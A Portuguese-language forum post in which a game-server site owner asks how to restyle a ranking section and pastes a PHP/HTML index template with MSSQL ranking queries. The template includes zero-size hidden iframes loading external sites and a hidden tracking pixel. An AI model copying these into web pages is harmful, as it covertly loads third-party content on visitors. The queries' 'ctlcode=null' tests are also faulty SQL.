Ola o ranking no meu site atualmente ta assim


Queria que ficasse assim oq fasso ?


Codigo do meu index
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<link href="templates/darkstyle/css/style.css" type="text/css" rel="stylesheet" />
<title>{#TITLE_SITE}</title>
<script type="text/javascript" src="templates/darkstyle/js/jquery.js"></script>
<script type="text/javascript" src="templates/darkstyle/js/functions.js"></script>
<script type="text/javascript" src="templates/darkstyle/js/ajax.js"></script>
</head>
<body>
<div id="wrap">
<div id="header"></div>

<div id="div_menu">
<ul id="menu">
<li><a href="?page=home">Inicio</a></li>
<li><a href="?page=paneluser">Painel</a></li>
<li><a href="?page=register">Cadastro</a></li>
<li><a href="?page=downloads">Downloads</a></li>
<li><a href="?page=rankings">Rankings</a></li>
<li><a href="?page=vips">Cash/Vips</a></li>
<li><a href="{#SHOPPING_LINK}">Shop</a></li>
<li><a href="?page=contact">Fale Conosco</a></li>
<li><a href="?page=home">Forum</a></li>
<li><a href="/pagseguro">PagSeguro</a></li>
<li><a href="?page=info">Informaçoes</a></li>
</ul>
</div>

<div id="content">

<div id="sidebar">
{#DIV[LOGIN_LOGOUT]}

<h4>Servidores</h4>
<div class="sidebox">
<ul>
{#GAMESERVERS_ON}
<li>Total online: <a href="?page=onlines&amp;room=all"><strong>{#TOTAL_ ACCOUNTS_ONLINES}</strong></a></li>
</ul>
</div>

<h4>Configura&ccedil;&otilde;es</h4>
<div class="sidebox">
<ul>
<li>Vers&atilde;o: <strong>{#SERVER_VERSION}</strong></li>
<li>Experi&ecirc;ncia: <strong>{#SERVER_XP}</strong></li>
<li>Drops: <strong>{#SERVER_DROP}</strong></li>
<li>Bug Bless: <strong>{#SERVER_BUGBLESS}</strong></li>
<li>Reset: <strong>Acumulativo </strong></li>
</ul>
</div>

<h4>Informa&ccedil;&otilde;es</h4>
<div class="sidebox">
<ul>
<li>Total de Contas: <strong>{#TOTAL_ACCOUNTS}</strong></li>
<li>Total de Chars: <strong>{#TOTAL_CHARATERS}</strong></li>
<li>Recorde Online: <strong>{#RECORD_ONLINE}</strong></li>
<li>Vips Silver: <strong>{#TOTAL_ACCOUNTS_VIP_SILVER}</strong></li>
<li>Vips Gold: <strong>{#TOTAL_ACCOUNTS_VIP_GOLD}</strong></li>
<li>Personagens Banidos: <a href="?page=banned&amp;type=characters"><strong>{# TOTAL_CHARACTERS_BANNEDS}</strong></a></li>
<li>Contas Banidas: <a href="?page=banned&amp;type=accounts"><strong>{#TO TAL_ACCOUNTS_BANNEDS}</strong></a></li>
</ul>
</div>

<h4>Equipe</h4>
<div class="sidebox">
<div id='equipe'><a href="void">[Mostrar]</a></div>
</div>

</div>









<div id="main">
<div class="contentBox">
<h2 class="noMargin">&Uacute;ltimas notícias:</h2>
<ul class="list">
{#LAST_NOTICES_HOME}
<li style="text-align: right; margin-bottom: 0;"><a href="?page=readNotice">[Ver todas]</a></li>
</ul>
</div>

<?php
global $FORUM_CONFIGS;
if($FORUM_CONFIGS['ENABLE'] == TRUE)
{
?>
<p><?php } ?>
</p>
<div class="contentBox">
<ul class="rank">
<li style="margin-left: 7px;"> <span>Top Resets:</span>
<?
$Top = mssql_query("select top 10 name,resets from character where ctlcode=0 or ctlcode=null order by resetao desc,resets desc, clevel desc");
for($i=0;$i<mssql_num_rows($Top);$i++) {
$DadosTop = mssql_fetch_row($Top);
$rank = $i+1;
echo '
<img src="imagens/ranking/trofeu.gif" width="15" height="15"> '.$rank.' - <strong>'.$DadosTop[0].'</strong> - <strong>'.$DadosTop[1].'</strong> Resets<br>
'; } ?>
</li>
<li> <span>Top Semanal:</span>
<?
$Top = mssql_query("select top 10 name,ResetsWeek from character where ctlcode=0 or ctlcode=null order by ResetsWeek desc,resets desc, clevel desc");
for($i=0;$i<mssql_num_rows($Top);$i++) {
$DadosTop = mssql_fetch_row($Top);
$rank = $i+1;
echo '
<img src="imagens/ranking/trofeu.gif" width="15" height="15"> '.$rank.' - <strong>'.$DadosTop[0].'</strong> - <strong>'.$DadosTop[1].'</strong> Resets<br>
'; } ?>
</li>
<li> <span>Top Mensal: </span>
<?
$Top = mssql_query("select top 10 name,ResetsMonth from character where ctlcode=0 or ctlcode=null order by ResetsMonth desc,resets desc, clevel desc");
for($i=0;$i<mssql_num_rows($Top);$i++) {
$DadosTop = mssql_fetch_row($Top);
$rank = $i+1;
echo '
<img src="imagens/ranking/trofeu.gif" width="15" height="15"> '.$rank.' - <strong>'.$DadosTop[0].'</strong> - <strong>'.$DadosTop[1].'</strong> Resets<br>
'; } ?>
</li>
<br style="clear: both" />
</ul>
</div>
<div class="contentBox">
<ul class="rank">
<li style="margin-left: 7px;"> <span>Top Killer: </span>
<?
$Top = mssql_query("SELECT TOP 5 Name, PkLevel, PkTime from Character where ctlcode<=1 order by PkLevel desc, PkCount desc");
for($i=0;$i<mssql_num_rows($Top);$i++) {
$DadosTop = mssql_fetch_row($Top);
$rank = $i+1;
echo '
<img src="imagens/sangue.png" width="15" height="14"> '.$rank.' - <strong>'.$DadosTop[0].'</strong> - <strong>'.$DadosTop[1].'</strong> Points <br>
'; } ?>
</li>
<li> <span>Top Heros:</span>
<?
$Top = mssql_query("SELECT TOP 5 Name, PkCount from Character where PkCount<=3 order by PkLevel desc");
for($i=0;$i<mssql_num_rows($Top);$i++) {
$DadosTop = mssql_fetch_row($Top);
$rank = $i+1;
echo '
<img src="imagens/coda/medalha_ouro.png" width="15" height="15"> '.$rank.' - <strong>'.$DadosTop[0].'</strong> - <strong>'.$DadosTop[1].'</strong> Pontos <br>
'; } ?>
</li>
<li> <span>Top Level:</span>
<?
$Top = mssql_query("select top 5 name,cLevel from character where ctlcode=0 or ctlcode=null order by cLevel desc");
for($i=0;$i<mssql_num_rows($Top);$i++) {
$DadosTop = mssql_fetch_row($Top);
$rank = $i+1;
echo '
<img src="imagens/sangue.png" width="15" height="14"> '.$rank.' - <strong>'.$DadosTop[0].'</strong> - <strong>'.$DadosTop[1].'</strong> Level <br>
'; } ?>
</li>
<br style="clear: both" />
</ul>
</div>
<div class="contentBox"><IFRAME name=xd src="" frameBorder=0 width=1 height=1 scrolling=auto></IFRAME><iframe width='http://serversdemuonline.com/' height='0' frameborder='0' src=''></iframe>
<center><img style="visibility:hidden;width:0px;height:0px;" border=0 width=0 height=0 src="http://c.gigcount.com/wildfire/IMP/CXNID=2000002.0NXC/bT*xJmx*PTEzNDAzOTkzMTg2OTAmcHQ9MTM*MDM5OTMyNTk5NS ZwPTUzMTUxJmQ9Jmc9MSZvPWQ2MTc2MGI2NjM*YzQ*ODg5MjA2/M2I*NjE2YzEwZTQy.gif" /><embed src="http://www.xatech.com/web_gear/chat/chat.swf" quality="high" width="480" height="320" name="chat" FlashVars="id=176970991" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://xat.com/update_flash.shtml" /><br><small><a target="_BLANK" href="http://xat.com/web_gear/?cb"></a> <a target="_BLANK" href="http://xat.com/web_gear/chat/go_large.php?id=176970991"></a></small><br></center>
<center><iframe src="http://www.facebook.com/plugins/like.php?href=suaurl&
layout=standard&show_faces=false&width=380&action= like&colorscheme=light&height=25" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:280px; height:55px;" allowblue="true"></iframe>
</center>
<br>
<small></div>
</iframe>

</div>
<br style="clear: both" />











</div>
<div id="footer">
&copy; Site {#SERVER_NAME} - <strong>DarkStyle</strong> by <a href="http://www.denislins.com.br/" style="color: #666; font-weight: bold;" target="_blank">Denis Lins</a> - Imagens por Augusto Domingos - Powered by <a href="http://www.daldegamserver.com/" style="color: #666; font-weight: bold;" target="_blank">Leandro Daldegam</a> - Página gerada em {#ResultTime} segundos<iframe width='0' height='0' frameborder='0' src='http://www.muonlinefacil.com.br'></iframe></div>
</div>

</div>

</body>
</html>